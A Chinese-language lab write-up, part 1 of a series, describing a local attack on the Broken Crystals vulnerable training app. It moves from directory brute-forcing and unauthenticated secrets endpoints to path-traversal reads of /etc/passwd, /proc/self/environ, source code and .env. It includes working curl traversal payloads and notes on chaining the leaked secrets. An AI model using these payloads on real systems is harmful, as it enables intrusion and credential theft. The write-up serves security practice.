> ## Content Index
> Fetch the complete content index at: https://taiwanding.com/llms.txt
> Use this file to discover other available public pages before exploring further.

# Broken Crystals 實戰筆記 1：從資訊洩漏一路串到任意檔案讀取
- URL: https://taiwanding.com/broken-crystals-shi-zhan-bi-ji-1-cong-zi-xun-xie-lou-yi-lu-chuan-dao-ren-yi-dang-an-du-qu/
- Published: 2026-07-03T04:34:54.000Z
- Updated: 2026-07-15T02:50:31.000Z
- Author: Kevin Chen
- Tags: machine, broken crystals

📚 系列文章 · Broken Crystals 實戰筆記

1. ▸ Part 1：資訊洩漏 → 任意檔案讀取 LFI （本篇）
2. [Part 2：query 參數 → root reverse shell](https://taiwanding.com/broken-crystals-shi-zhan-bi-ji-2-cong-yi-ge-query-can-shu-da-dao-root-reverse-shell/)
3. [Part 3：eval SSJI 拿 RCE、XXE](https://taiwanding.com/broken-crystals-shi-zhan-bi-ji-3-eval-ssji-na-rce-yu-du-de-dao-dang-que-da-bu-dong-ssrfde-xxe/)
4. [Part 4：MCP 攻擊 → admin RCE kill chain](https://taiwanding.com/broken-crystals-shi-zhan-bi-ji-4-mcp-gong-ji-shi-zhan-cong-wei-ren-zheng-fang-ke-dao-admin-ti-quan-rce-de-wan-zheng-kill-chain/)

> 這是我在本機架設現代化擬真漏洞靶場 **Broken Crystals**(由 DAST 廠商 Bright Security / NeuraLegion 維護的開源專案)、用真實 bug bounty 節奏開打的系列筆記，第一篇先把環境架設踩到的坑、以及第一條完整攻擊鏈(資訊洩漏 → LFI → 武器化)記下來，系列的核心不是「解題拿 flag」——Broken Crystals 沒有計分板——而是把它當成一個真實滲透目標，練方法論與手感。

## 為什麼選 Broken Crystals

Broken Crystals 用 docker-compose 起，技術棧是現代的 **React 前端 + NestJS/Fastify 後端 + PostgreSQL**，而且同時開了 REST(Swagger)、GraphQL、gRPC 三種介面,漏洞取材自真實世界，對以 API 獵洞為主的人來說，它比傳統靶場更貼近實戰，也很適合拿來當自己掃描器 / 工具鏈的 benchmark。

## 一、環境架設:一個關於 docker-compose 的坑

靶場本身 `git clone` 後 `docker compose up` 就能起，但我想把它綁在 `127.0.0.1`(公司內網不該暴露一個故意有洞的服務)，於是寫了一份 `compose.override.yml` 來覆蓋 port 綁定。

結果連續踩雷:每次 `up` 都報某個 port `address already in use`，而且 `ss`、`netstat`(WSL 與 Windows 兩側都查)全都顯示該 port 是空的，修好一個又換下一個，像在打地鼠。

### 根因:compose 的 `ports` 是「串接」不是「取代」

查證後確認，Docker Compose 合併多個檔案時，`ports` 這類多值選項的預設行為是**串接(concatenate)兩份清單**，**而非覆蓋**。

### 正解:用 `!override` 標籤

Docker Compose 提供兩個 YAML 標籤來繞過標準合併規則:

- `!reset []`:清空基底該屬性(用在完全不需要對外的服務,如 DB)
- `!override`:完全取代基底該屬性(用在要重新指定對外綁定的服務)

最終可用的 override:

```yaml
services:
  db:
    ports: !reset []
  keycloak:
    ports: !override
      - '127.0.0.1:8080:8080'
  nodejs:
    ports: !override
      - '127.0.0.1:3000:3000'
      - '127.0.0.1:5000:5000'
  grpcwebproxy:
    ports: !override
      - '127.0.0.1:8081:8081'
  mailcatcher:
    ports: !override
      - '127.0.0.1:1080:1080'
  ollama:
    ports: !reset []

```

關鍵習慣:**`up` 之前先用 `config` 看穿合併結果**，不要盲目啟動。

```bash
docker compose -f compose.local.yml -f compose.override.yml config | grep -iE "host_ip|published"

```

確認每個 port 只出現一次、`host_ip` 都是 `127.0.0.1`、沒有殘留的 `0.0.0.0`，再啟動，這個經驗在真實環境用 compose 分 dev/prod 設定時同樣適用。

## 二、偵查:從目錄爆破建立攻擊面地圖

環境起來後，不直接吃 Swagger 給的端點清單，而是照正規流程先做目錄爆破，把攻擊面自己挖出來(可能挖到 Swagger 沒列的隱藏路由)。

```bash
feroxbuster -u http://localhost:3000 \
  -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt -t 50

```

### 讀回應碼:SPA 的判讀陷阱

前端是 SPA，特性是**不存在的路徑常回 `200` \+ 同一份 index.html**(前端路由接管)，feroxbuster 會 auto-filter 掉這種 404-like 回應，但仍要留意。

第一輪最有價值的線索是:

```
404  GET  69c   http://localhost:3000/api

```

`/api` 回的是 **69 bytes 的 JSON 404**(不是 SPA 的 3031 bytes 首頁)，證明 `/api/*` 是後端 API 的地盤，與前端路由分離，攻擊面在此。

### 遞迴爆破 /api

feroxbuster 預設就遞迴(以 `--depth` 控制深度,預設 4)，專打 API 地盤:

```bash
feroxbuster -u http://localhost:3000/api \
  -w /usr/share/seclists/Discovery/Web-Content/raft-medium-words.txt \
  -t 50 --depth 3 -C 404 -o ferox_api.txt

```

撈到一批端點,每個回應碼都在說話:

| 端點                | 碼           | 訊號                            |
| ----------------- | ----------- | ----------------------------- |
| /api/secrets      | 200 (1186c) | 名字叫 secrets,還回大量內容            |
| /api/config       | 200 (156c)  | 設定端點                          |
| /api/file         | **500**     | 缺參數就爆 → 疑似 LFI 入口             |
| /api/goto         | 302         | 重導向 → 疑似 open redirect / SSRF |
| /api/products     | 403         | 需授權 → 之後測越權                   |
| /api/testimonials | 200 (2c)    | 空陣列,普通端點                      |

## 三、資訊洩漏:兩個未授權端點把後端褲子扒了

### `/api/secrets` — 未授權憑證大洩漏

```bash
curl -s http://localhost:3000/api/secrets | jq

```

未經任何認證,直接吐出一整包各家服務的憑證(格式節錄,值已去敏):

- Facebook access token(`EAAC...` 格式)
- Google OAuth token(`ya29...` 格式)、OAuth client id
- 一把 **Base64 編碼的 Google API key**
- PayPal **production** access token
- Slack token(`xoxo-...`)
- CodeClimate / Heroku / Outlook webhook / HockeyApp 等

其中 Base64 那把順手解開,是標準 `AIza` 開頭的 Google API key:

```bash
echo "QUl6YVN5...(略)" | base64 -d
# AIzaSy...(AIza 開頭 = Google API key 特徵)

```

### `/api/config` — 後端設定洩漏,含 DB 連線字串

```bash
curl -s http://localhost:3000/api/config | jq

```

```json
{
  "awsBucket": "https://...s3.amazonaws.com",
  "sql": "postgres://bc:bc@db:5432/bc",
  "googlemaps": "AIza...(第二把 Google key)"
}

```

`sql` 這條最狠:**完整的 DB 連線字串**,帳號密碼 host port db 名一次到齊，這兩個端點屬「資訊洩漏」，已到手，但真正的重頭戲在下一個能動手利用的洞。

## 四、任意檔案讀取 (Path Traversal / LFI)

### 定位參數:讓錯誤訊息說話

`/api/file` 直接打回 500:

```bash
curl -s "http://localhost:3000/api/file"
# {"error":"Cannot read properties of undefined (reading 'startsWith')"}

```

這行 Node.js 錯誤洩漏了關鍵:程式對某個「你沒提供的參數」呼叫了 `.startsWith()`——這很可能是後端想做的**路徑白名單檢查**，換句話說，端點在等一個當作「檔案路徑」的參數，

先用正常檔案試探參數名 `path`，確認端點會讀檔並回傳:

```bash
curl -s "http://localhost:3000/api/file?path=package.json"
# → 回傳完整 package.json 內容

```

參數名正確、端點確實讀檔回傳，LFI 的前半成立。

### 驗證穿越:直攻 /etc/passwd

真正的任意檔案讀取要證明能跳出 web 目錄:

```bash
curl -s "http://localhost:3000/api/file?path=../../../../../../etc/passwd"

```

```
root:x:0:0:root:/root:/bin/sh
...
node:x:1000:1000::/home/node:/bin/sh

```

完整吐出，毫無過濾——那個 `.startsWith` 白名單形同虛設，**任意檔案讀取正式確認**，順帶情報:app 由非 root 的 `node` 使用者(uid 1000)執行，家目錄 `/home/node`，系統是 Alpine 系，

### 武器化:讀高價值檔案

LFI 的價值不在讀 `/etc/passwd`(那只是 PoC)，而在讀能擴大戰果的檔案。

**進程環境變數** `/proc/self/environ`(用 `tr` 把 `\0` 轉換行):

```bash
curl -s "http://localhost:3000/api/file?path=../../../../../../proc/self/environ" | tr '\0' '\n'

```

從中確認 app 絕對路徑為 `/usr/src/app`(之後可直接用絕對路徑讀檔，不必湊 `../` 深度)。

**後端原始碼**——`package.json` 的 `start:prod` 指向 `dist/main.js`:

```bash
curl -s "http://localhost:3000/api/file?path=/usr/src/app/dist/main.js" | head -50

```

讀到編譯後的完整後端邏輯 → 這把 LFI 從「讀設定」升級為**白箱源碼審計能力**，可逐一檢視各端點實作,定位 SQLi / 命令注入的確切 sink。

**`.env` 檔**——全套祕密:

```bash
curl -s "http://localhost:3000/api/file?path=/usr/src/app/.env"

```

撈到的祕密與其可串接的攻擊:

| 洩漏項                              | 可串接攻擊                         |
| -------------------------------- | ----------------------------- |
| JWT\_SECRET\_KEY=1234            | JWT 偽造 / 認證繞過(弱 HS256 secret) |
| KEYCLOAK\_ADMIN\_CLIENT\_SECRET  | Keycloak realm 管理權            |
| KEYCLOAK\_PUBLIC\_CLIENT\_SECRET | OIDC token 偽造                 |
| JKU\_URL / X5U\_URL              | JWT jku/x5u 標頭注入              |
| DATABASE\_\*                     | DB 連線(配合其他洞)                  |

## 攻擊鏈總結

```
目錄爆破 (feroxbuster)
    └─ 定位 /api 後端地盤
         ├─ /api/secrets   → 未授權憑證洩漏(多家 token/key)
         ├─ /api/config    → DB 連線字串洩漏
         └─ /api/file      → 任意檔案讀取 (LFI)
                              ├─ /etc/passwd        (PoC)
                              ├─ /proc/self/environ (環境偵查)
                              ├─ dist/main.js       (白箱源碼)
                              └─ .env               (全套祕密 → 下一波攻擊鑰匙)

```

單一 LFI，透過選對「讀什麼」，從一個讀檔漏洞升級成:環境偵查能力 + 白箱源碼審計能力 + 全套憑證洩漏，這正是真實 bug bounty 裡「影響力(impact)不在漏洞類型，而在你能把它推到多遠」的體現。

*本文為授權範圍內的本機自建靶場測試紀錄*，*所有洩漏憑證均為靶場預設假資料*，*文中已做去敏節錄*，*請勿將任何技術用於未授權目標。*